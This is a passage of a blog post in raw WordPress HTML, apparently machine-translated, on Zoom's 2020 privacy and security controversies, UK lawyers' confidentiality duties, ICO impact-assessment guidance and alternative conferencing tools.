href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it&amp;usg=ALkJrhg1t3hMtkwpP-l6IAx2SX9F2ZWrOQ\">the complaint alleged.&nbsp;</a></em>”</li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to“ open an investigation of Zoom’s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.”&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/epjxHgw&amp;usg=ALkJrhiZMUeldTAvi4Li9zYMi-BsxL20YQ\">Here’s the press release</a>&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>FBI issues alerts</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic&amp;usg=ALkJrhgjlGgm3E1CPmvt35Kru_yMJdDqcA\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;&nbsp;of so-called“ Zoom-bombing ”or videoconference hacking.&nbsp;“The FBI has received multiple reports of conferences being disrupted by pornographic and / or hate images and threatening language,” it said.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html&amp;usg=ALkJrhg8Kh5SaRN84sEzDGrrSSaWUI6PPw\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>–&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong><em>Zoom needs to clean up its privacy policy</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group Access Now, meanwhile, dug into Zoom’s privacy policy and practices and didn’t like what it saw,&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/&amp;usg=ALkJrhhUJZcKzJIZxS248ojOceFQVMRr_w\" target=\"_blank\" rel=\"noreferrer noopener\">sending a letter</a>&nbsp;&nbsp;to the company on March 19 asking it to publish a transparency report along the same lines as other companies that made it plain exactly what the company was doing with its users’ data. “&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blogs.harvard.edu/doc/2020/03/27/zoom/&amp;usg=ALkJrhjBBPAc4LCzv4szyugpess4uplkkg\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy, ”said Attorney General Tong. “In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform.• Consult your software company’s security information or your IT department.<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/gRcq9x2&amp;usg=ALkJrhgNjYVDYRSP5wLPDy3VqZOk7l9HOA\">Here’s the press release&nbsp;</a><strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What may be the responsibility of lawyers with regard to the processing of data following the use of an application that has raised so many questions&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lawyer is bound by professional confidentiality in the UK :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>The principle regulatory duties relating to confidentiality are to be found in the SRA Principles 2011 and at Chapter 4 of the SRA Code of Conduct 2011 (“the Code”). The relevant Principles are:1 – uphold the rule of law and the proper administration of justice;4 – act in the best interests of each client;5 – provide a proper standard of service to your clients; and6 – behave in a way that maintains the trust the public places in you and in the provision of legal services.whilst Outcome O (4.1) contains the main regulatory duty, namely that “you keep the affairs of clients confidential unless disclosure is required or permitted by law or the client consents;”<br>There is also a duty to ensure “that the affairs of clients should be kept confidential” which is to be found at section 1(3)(e) of the Legal Services Act 2007.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Need for an&nbsp;</strong><strong>impact study to be carried out before the adoption of the new technology,</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to ensure proper compliance with the data protection rules as developed above, lawyers in the footsteps of their professional orders, must ensure the compliance of the technical means used.&nbsp;The confidentiality of the information they are responsible for requires their utmost vigilance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this context, an evaluation of the impact of the new technology on the protection of the data processed is essential before any use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The UK ICO explains:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The&nbsp;<a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/accountability-and-governance/data-protection-impact-assessments/\">DPIA</a>&nbsp;is an important tool for the accountability of organisations: it helps them not only to build data processing respectful of privacy, but also to demonstrate their compliance with the General Data Protection Regulations (GDPR).&nbsp;It is compulsory for treatments likely to generate high risks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>You must do a DPIA for processing that is&nbsp;</em><strong><em>likely to result in a high risk</em></strong><em>&nbsp;to individuals. This includes some specified types of processing. You can use our screening checklists to help you decide when to do a DPIA.</em></li><li><em>It is also good practice to do a DPIA for any other major project which requires the processing of personal data.</em></li><li><em>Your DPIA must:</em><ul><li><em>describe the nature, scope, context and purposes of the processing;</em></li><li><em>assess necessity, proportionality and compliance measures;</em></li><li><em>identify and assess risks to individuals; and</em></li><li><em>identify any additional measures to mitigate those risks.</em></li></ul></li><li><em>To assess the level of risk, you must consider both the likelihood and the severity of any impact on individuals. High risk could result from either a high probability of some harm, or a lower possibility of serious harm.</em></li><li><em>You should consult your data protection officer (if you have one) and, where appropriate, individuals and relevant experts. Any processors may also need to assist you.<br>If you identify a high risk that you cannot mitigate, you must consult the ICO before starting the processing.<br>If you are processing for law-enforcement purposes, you should read this alongside the&nbsp;</em><a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-law-enforcement-processing/\"><em>Guide to Law Enforcement Processing</em></a><em>.<br>The ICO will give written advice within eight weeks, or 14 weeks in complex cases. If appropriate, we may issue a formal warning not to process the data, or ban the processing altogether.’</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In the absence of risk assessment measures, the negligent lawyer undertakes to challenge his responsibility.&nbsp;Professional orders should be made aware of this risk and support their members in finding a solution that meets the requirements of the regulations.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre&amp;usg=ALkJrhj_GiD593CgYcaIdhiRmy5yhzgGzg\">CNIL,</a>&nbsp;like other national protection authorities, has produced guides to this effect.&nbsp;Here is the document produced by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing&amp;usg=ALkJrhj0N_9262kmEQyLWZ2g9ZxBrT-4vg\">Irish Data Protection Commissioner</a>&nbsp;.&nbsp;A&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/&amp;usg=ALkJrhjBXVgB0bCbmY57J9GzcIkAJgkOlQ\">recommendation from ANSSI</a>&nbsp;is also available.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home&amp;usg=ALkJrhgYf3fmViFdYwU6362e92roBWIw2Q\">ENISA</a>&nbsp;‘&nbsp;<em>cybersecurity when working from home’</em>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The use of the Zoom application has already been subject to liability lawsuits:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades&amp;usg=ALkJrhj-jFag30DEps3yDvzZO-mE_kPwdQ\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\" target=\"_blank\">lawsuit</a>&nbsp;&nbsp;[PDF], filed on Monday in California.&nbsp;The plaintiff in this case, Robert Cullen of Sacramento, California,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\">The Register.</a></em></li><li>Controller responsibility regarding use of ZOOM :Use of ZOOM requires an organisation to enter into a&nbsp;<strong>processing agreement</strong>&nbsp;with ZOOM. For this, a standard agreement has been drawn up by ZOOM whereby many of the responsibilities for processing personal data are placed with the controller. See the&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom_Data_Processing_Addendum_Processor_Form_Final-SIGNED.pdf\">addendum for this</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Brittany Roush, Director at the Crypsis Group, said</a>&nbsp;: “That having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR.&nbsp;If anything, it demonstrates that the regulatory bodies are carrying out their essential function – which is to ensure that companies protect consumer data… In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic… we do not have the luxury of time on our side to motto perfect solutions.</em></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http://%20https//www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968&amp;usg=ALkJrhjBtuOwBYzF9YzkBKKshDGRweBcjg\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J&amp;usg=ALkJrhjcq5VPn95-H1hOBy8xgZqJ5QV38g\">Elon Musk’s SpaceX bans Zoom over privacy concerns – memo</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm&amp;usg=ALkJrhix6zz3Jtqs3q9k1imlSTo_QS2YZw\">The Interdepartmental Digital Directorate “strongly advises” against the Zoom application</a></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-comm-privacy-singapore-idUSKCN21S0AH\">Singapore stops teachers using Zoom app after ‘very serious incidents’</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193&amp;usg=ALkJrhiGCYK2TwzPqbKd3NT0n2QaxPed7A\">Increasingly discouraged, Zoom calls on the former chief security officer of Facebook&nbsp;</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/&amp;usg=ALkJrhhxsK7ZZubFewMxuWXGygg-zeRn8Q\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www-washingtonpost-com.cdn.ampproject.org/c/s/www.washingtonpost.com/technology/2020/04/03/thousands-zoom-video-calls-left-exposed-open-web/?outputType=amp\">Thousands of Zoom video calls left exposed on open Web</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/&amp;usg=ALkJrhjQwe-y_3jTSdQdTtPhvYERj_V5Mg\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.law360.com/articles/1263127/facebook-linkedin-sued-for-eavesdropping-on-zoom-users\">Facebook, LinkedIn Sued For ‘Eavesdropping’ On Zoom Users.</a></li><li>A class-action lawsuit has been brought against Facebook, LinkedIn and Zoom alleging personal information from Zoom user accounts was shared to the social networking sites.</li><li><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html?smid=linkedin\">A Feature on Zoom Secretly Displayed Data From People’s LinkedIn Profiles</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom is surely not the only company disrespectful of users security and privacy. Hopefully Data Protection Authorities will further investigate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.independent.ie/business/technology/irish-data-protection-commissioner-liaises-with-european-colleagues-over-zoom-concerns-39119838.html?mkt_tok=eyJpIjoiWVRCbU4yTXpZelkyWkRneiIsInQiOiJCK2hkY0dGTTRmSEZBaHZmRkJxNXVSeDA5QlFlY25TVDhPUW56RWx2S29VdDIzejVBQWhrbUFrQjZuOGFIQzc5UkUzb0lhNUh6TW1CTDdhM01rN3VPa3k0UWV3Zzhlek0wenQ0ampmTEY3SVk3Sit5clQ1OHlrVGNMQWsyRnR6MSJ9\">Irish data protection commissioner liaises with European colleagues over Zoom concerns</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Meanwhile, concerns are not where you would expect them to be :&nbsp;<a href=\"https://www.abajournal.com/news/article/lawyers-are-dressing-way-too-casual-during-zoom-hearings-judge-says\">Lawyers are dressing way too casual during Zoom court hearings, judge says</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>So in conclusion, it is imperative to properly assess the impact of the choice of a technology on data protection.&nbsp;A lawyer or whoever handles sensitive data entrusted to him or in the course of his mission, is required to apply the greatest vigilance.&nbsp;Impact assessment is essential.&nbsp;In its absence, the questioning of responsibility is to be feared.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>What are the alternative solutions?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://jitsi.org/jitsi-meet/&amp;usg=ALkJrhi_3ppmOKDiranVC_IsLrhe18E7UA\">Jitsi&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.tixeo.com/&amp;usg=ALkJrhhF_DEeCfhMnfkHTBPeAKR8ub0nhw\">Tixeo</a>&nbsp;recommended by ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bigbluebutton.org/&amp;usg=ALkJrhgiJHoOpiXLRwtPUokndTcDUSDhDQ\">BigBlueButton&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.visio-avocats.com/&amp;usg=ALkJrhgbfDjM6a5KFZ1o1vRov5xYyCQmsg\">Video lawyers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://pages.bluejeans.com/video-conferencing-trial.html%3Futm_source%3Dgoogle%26utm_medium%3Dcpc%26personsource%3Dpaid_search%26utm_content%3DTrialLP%26utm_term%3D%252Bbluejeans%2520%252Bconference%26utm_campaign%3DEMEA%2520-%2520Branded%2520General%26utm_adgroup%3DEMEA%2520-%2520Branded%2520General%2520-%2520BlueJeans%2520Business&amp;usg=ALkJrhiHAfI7XDGvv4y-Nwy400-NlpnTSQ\">BlueJeans&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.skype.com/en/&amp;usg=ALkJrhizHn8lSLSgSgdL9_wSc3_6Z8xOvw\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.gotomeeting.com/en-gb/lp/easy-online-meetings%3Fcid%3Dg2m_emea_ggs_cpc_brand_gotomeeting_e&amp;usg=ALkJrhinQNUNLaxB4Hi4abKNb18ajKaV5w\">GotoMeeting&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://products.office.com/en-gb/microsoft-teams/group-chat-software&amp;usg=ALkJrhjsfwbJiehQtwCKu4ps3Fo6jXwFCw\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html%3Fdtid%3Dpseggl000183%26oid%3Dtrlco020841%26ccid%3Dcc000703%26gclsrc%3Dds%26gclsrc%3Dds&amp;usg=ALkJrhgyDNBVTJ1Vi74treqMrTb29JJo0Q\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651} -->\n<figure class=\"wp-block-image\"><img src=\"https://translate.googleusercontent.com/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">Your&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf&amp;usg=ALkJrhgEZJAXGwU4Hf5Zfh4Fos4b2xzNbA\">NOYB comparison chart&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2yoXVIG&amp;usg=ALkJrhjwq8hjfqXS-XW6slP6GnGF3qEPeQ\">&nbsp;&nbsp;– For the version with active links,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">comparative table produced by the&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf&amp;usg=ALkJrhgsZzuNmOIfnfTTrvjZnkHOfaa8yQ\">Dutch&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bit.ly/2wLRJKs&amp;usg=ALkJrhjO23zt9RB8B9gwnc7Ia6l-hMqduQ\">Data Protection Authority</a>&nbsp;translated by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/PiracyByDesign&amp;usg=ALkJrhiLaTXf06F1PcEos6Yl4uIsoL05pQ\">Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"https://datarainbow.eu/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:list -->\n<ul><li>CONTINUE TO FOLLOW THIS TRAD IN&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465&amp;usg=ALkJrhjopVjOOzHXwujuTUoOzhuCTJXpmg\">PEARLTREES</a>&nbsp;ACCOUNT&nbsp;ON WHICH THE LATEST NEWS AND ARTICLE ON THIS SUBJECT ARE GROUPED.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>If you still wanted to continue using this application, here are some tips on how to use Zoom more safely:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>–&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe&amp;usg=ALkJrhgLStIdsKDBr7erTXFPJYlksZC9TQ\">How to keep your Virtual (Zoom) Meetings safe</a></em><em>&nbsp;:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the&nbsp;<a 